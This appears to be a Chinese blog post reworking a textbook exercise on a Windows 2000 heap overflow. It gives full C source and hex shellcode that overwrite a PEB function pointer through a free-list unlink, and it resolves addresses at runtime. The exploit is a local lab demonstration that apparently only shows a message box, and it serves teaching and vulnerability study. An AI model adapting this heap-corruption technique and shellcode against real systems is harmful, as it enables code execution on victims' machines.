0day安全-软件漏洞分析技术(第一版)--6_4_heap_PEB 源码改造

由于6_4_heap_PEB 的双循环列表堆溢出利用,需要人工定位好几处地址,而这些地址通过程序可以轻易得到,故稍微改造下,经测试,此堆溢出利用程序能在2000系统上正常运行,XPSP3系统不行。

#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77"  //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last

main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	DWORD dwTarget = 0;
	DWORD dwContent = 0;
	DWORD dwRtlEnterCriticalSection = 0;
	HANDLE hDll = INVALID_HANDLE_VALUE;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap

	_asm
	{
		push eax
		mov dwContent,eax
		mov eax,fs:[0x30]
		lea eax, [eax+0x20]
		mov dwTarget,eax
		pop eax
	}
	memcpy((void*)(shellcode+0xD),&dwTarget,4);
	
	hDll = LoadLibraryA("ntdll.dll");
	dwRtlEnterCriticalSection = (DWORD*)GetProcAddress(hDll,"RtlEnterCriticalSection");
	memcpy((void*)(shellcode+0x12),&dwRtlEnterCriticalSection,4);

	//减去1是由于字符串的\0
	memcpy((void*)(shellcode+sizeof(shellcode)-0x08-0x01),&dwContent,4);
	memcpy((void*)(shellcode+sizeof(shellcode)-0x04-0x01),&dwTarget,4);
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}


你可能感兴趣的:(0day安全-软件漏洞分析技术(第一版)--6_4_heap_PEB 源码改造)